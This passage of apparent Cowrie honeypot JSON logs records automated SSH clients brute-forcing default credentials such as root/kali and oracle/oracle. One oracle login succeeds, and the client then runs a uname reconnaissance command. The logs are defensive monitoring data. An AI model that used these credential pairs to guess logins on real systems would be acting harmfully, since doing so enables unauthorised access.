":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:44.310327Z","src_ip":"45.153.34.195","session":"273bff671411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:44.866205Z","src_ip":"45.153.34.195","session":"273bff671411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:45.952462Z","src_ip":"45.153.34.195","session":"273bff671411","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53750,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf4ee7e00f2f","protocol":"ssh","message":"New connection: 45.153.34.195:53750 (10.17.0.5:22) [session: cf4ee7e00f2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:47.262708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:47.267553Z","src_ip":"45.153.34.195","session":"cf4ee7e00f2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:47.362237Z","src_ip":"45.153.34.195","session":"cf4ee7e00f2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:47.920596Z","src_ip":"45.153.34.195","session":"cf4ee7e00f2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:49.004135Z","src_ip":"45.153.34.195","session":"cf4ee7e00f2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":53756,"dst_ip":"10.17.0.5","dst_port":22,"session":"def4f466dd82","protocol":"ssh","message":"New connection: 45.153.34.195:53756 (10.17.0.5:22) [session: def4f466dd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:50.221447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:50.234254Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:50.324426Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:50.628893Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:51.057289Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:51.060658Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:51.154149Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:51.159473Z","src_ip":"45.153.34.195","session":"def4f466dd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16908,"dst_ip":"10.17.0.5","dst_port":22,"session":"6622700b1c3f","protocol":"ssh","message":"New connection: 45.153.34.195:16908 (10.17.0.5:22) [session: 6622700b1c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:53.257160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:53.263309Z","src_ip":"45.153.34.195","session":"6622700b1c3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:53.344630Z","src_ip":"45.153.34.195","session":"6622700b1c3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345","message":"login attempt [test/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:53.599686Z","src_ip":"45.153.34.195","session":"6622700b1c3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:54.685294Z","src_ip":"45.153.34.195","session":"6622700b1c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16920,"dst_ip":"10.17.0.5","dst_port":22,"session":"a119dc9712cc","protocol":"ssh","message":"New connection: 45.153.34.195:16920 (10.17.0.5:22) [session: a119dc9712cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:56.236815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:56.247855Z","src_ip":"45.153.34.195","session":"a119dc9712cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:56.332988Z","src_ip":"45.153.34.195","session":"a119dc9712cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.881213665008545,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:56.342192Z","src_ip":"128.199.8.54","session":"e9b2480cd704","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root1","password":"gg","message":"login attempt [root1/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:56.699192Z","src_ip":"45.153.34.195","session":"a119dc9712cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:57.783334Z","src_ip":"45.153.34.195","session":"a119dc9712cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16932,"dst_ip":"10.17.0.5","dst_port":22,"session":"881aaa1bf0b0","protocol":"ssh","message":"New connection: 45.153.34.195:16932 (10.17.0.5:22) [session: 881aaa1bf0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:59.017392Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:59.051752Z","src_ip":"45.153.34.195","session":"881aaa1bf0b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:59.147254Z","src_ip":"45.153.34.195","session":"881aaa1bf0b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxczxc123","message":"login attempt [root/zxczxc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:47:59.507782Z","src_ip":"45.153.34.195","session":"881aaa1bf0b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:00.628209Z","src_ip":"45.153.34.195","session":"881aaa1bf0b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":16944,"dst_ip":"10.17.0.5","dst_port":22,"session":"87e1f76a1c92","protocol":"ssh","message":"New connection: 45.153.34.195:16944 (10.17.0.5:22) [session: 87e1f76a1c92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:01.790117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:01.795254Z","src_ip":"45.153.34.195","session":"87e1f76a1c92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:02.031395Z","src_ip":"45.153.34.195","session":"87e1f76a1c92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"george","message":"login attempt [george/george] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:02.531396Z","src_ip":"45.153.34.195","session":"87e1f76a1c92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:03.670721Z","src_ip":"45.153.34.195","session":"87e1f76a1c92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":44668,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71a4169bb41","protocol":"ssh","message":"New connection: 37.233.85.71:44668 (159.203.135.109:22) [session: f71a4169bb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.461427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.466841Z","src_ip":"37.233.85.71","session":"f71a4169bb41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.577666Z","src_ip":"37.233.85.71","session":"f71a4169bb41","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":20150,"dst_ip":"10.17.0.5","dst_port":22,"session":"807ed4d57140","protocol":"ssh","message":"New connection: 45.153.34.195:20150 (10.17.0.5:22) [session: 807ed4d57140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.787802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.793210Z","src_ip":"45.153.34.195","session":"807ed4d57140","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:48:04.885253Z","src_ip":"45.153.34.195","session":"807ed4d57140","protocol":"ssh"}
